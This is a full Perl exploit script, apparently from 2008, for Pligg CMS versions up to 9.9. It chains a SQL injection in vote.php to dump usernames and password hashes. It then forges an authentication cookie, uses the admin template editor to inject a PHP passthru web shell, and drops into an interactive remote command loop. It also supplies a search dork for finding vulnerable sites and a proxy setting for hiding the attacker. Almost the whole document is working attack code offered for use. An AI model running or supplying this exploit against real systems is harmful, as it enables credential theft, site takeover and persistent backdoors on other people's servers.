Pligg <= 9.9 Remote Code Execution Exploit

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July 31, 2008 13:52 | by !4p47hy ]

#!/usr/bin/perl -w
use LWP::UserAgent;
use MIME::Base64;
use Digest::MD5 qw(md5_hex);
use Getopt::Std; getopts('h:', \%args);

print "#############################################\n";
print "# Pligg <= 9.9 Remote Code Execution Exploit \n";
print "#############################################\n";
#dork = "Powered By Pligg" + "Legal: License and Source"

# Proxy address
$ENV{http_proxy} = 'http://127.0.0.1:8118/';

my $http = LWP::UserAgent->new;
   $http->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1');
   #$http->env_proxy(); # <-- uncomment for proxy
   $http->cookie_jar({});

my $host = $args{'h'} || usage(); # Host flag. Specify the Pligg root directory
my $user = undef;
my $pass = undef;
my $file = undef;
my $data = undef;
my @auth = undef;

# Details for the php code that is injected in to the template
my $ereg = '<cmdout>(.*?)<\/cmdout>';
my $cvar = 'cmd';
my $cval = 'pwd;id';
my $code = '<cmdout><?php if ( !empty($_REQUEST["' . $cvar . '"]) ) passthru($_REQUEST["' . $cvar . '"]); ?></cmdout>';

print "[*] Checking if a shell already exists ...\n";

$data = $http->post(
$host . '/index.php',
[
   $cvar  => $cval
]);

if ( $data->content =~ /$ereg/si )
{
  print "[*] Found existing shell ...\n";
}
else
{
  print "[!] No existing shell found ...\n";

  #############################################
  # Gather user info via vote.php SQL Injection
  #############################################

  $data = $http->post(
  $host . '/vote.php',
  [
     'id'  => '-99 UNION SELECT 1,2,3,null,5,6,concat(user_login,char(58),user_pass),8,9 FROM pligg_users -- /*',
     'md5' => 'd41d8cd98f00b204e9800998ecf8427e' # <-- If you aren't logged in this always works
  ]);

  print "[*] Gathering user information ...\n";

  if ( $data->content =~ /(.*?):([a-f0-9]{1,64})/i )
  {
    $user = $1;
    $pass = $2;

    # Sets up the cookie to authenticate us
    @auth = ('Cookie' => 'mnm_user=' . $user . '; mnm_key=' . encode_base64($user . ':' . crypt($user, 22) . ':' . md5_hex($pass)) . ';');

    print "[+] Got user '$user' ...\n";

  }
  else
  {
    print "[!] Unable to get user info. Dumping output ...\n";
    open(ELOG, '>pligg_debug.html');print ELOG $data->content;close(ELOG);
    exit;
  }

  #############################################
  # Get the template path
  #############################################

  print "[*] Gathering template information ...\n";

  $data = $http->get($host . '/admin_editor.php',@auth);

  if ( $data->content =~ />(.*?)<\/option>/i )
  {
    $file = $1;
    # Quick and dirty fix
    $file =~ s/admin_templates\/admin_access_denied.tpl/footer.tpl/;
    print "[+] Got template file [$file]...\n";
  }

  #############################################
  # Read the template contents
  #############################################

  $data = $http->post(
  $host . '/admin_editor.php',
  [
     'the_file'  => $file,
     'open' => 'Open'
  ]
  ,@auth);

  print "[*] Reading template data ...\n";

  # Grab the template contents
  if ( $data->content =~ /<textarea(.*)>(.*)<\/textarea>/is )
  {
    $temp = $2;
    $temp =~ s/>/>/ig;
    $temp =~ s/</</ig;
    $temp =~ s/"/"/ig;
    $temp =~ s/&/&/ig;

    print "[+] Got template data ...\n";
  }
  else
  {
    print "[!] Unable to get template data. Dumping output ...\n";
    open(ELOG, '>pligg_debug.html');print ELOG $data->content;close(ELOG);
    exit;
  }

  #############################################
  # Update the Template Contents
  #############################################

  $data = $http->post(
  $host . '/admin_editor.php',
  [
     'the_file2'   => $file,
     'updatedfile' => $temp . $code,
     'save'        => 'Save+Changes'
  ]
  ,@auth);

  print "[*] Updating template data ...\n";

  if ( $data->content =~ /File Saved/is )
  {
    print "[+] File saved!\n";
  }
  else
  {
    print "[!] Unable to update template data. Dumping output ...\n";
    open(ELOG, '>pligg_debug.html');print ELOG $data->content;close(ELOG);
    exit;
  }
}

#############################################
# Setting up the php shell
#############################################

print "[*] Setting up shell ...\n";

$data = $http->post(
$host . '/index.php',
[
   $cvar  => $cval
]);

if ( $data->content =~ /<cmdout>(.*?)<\/cmdout>/si )
{
  while ( 1 )
  {
    print "pligg:~#";
    $exec = <STDIN>;

    $data = $http->post(
    $host . '/index.php',
    [
       $cvar  => $exec
    ]);

    if ( $data->content =~ /$ereg/si )
    {
      print $1 . "\n";
    }
    else
    {
      print "Unexpected Response!\n";
    }
  }
}
else
{
  print "[!] Unable to set up shell ...\n";
  open(ELOG, '>pligg_debug.html');print ELOG $data->content;close(ELOG);
  exit;
}

sub usage
{
  print "pligg_exploit.pl -h http://path/to/pligg     \n";
  exit;
}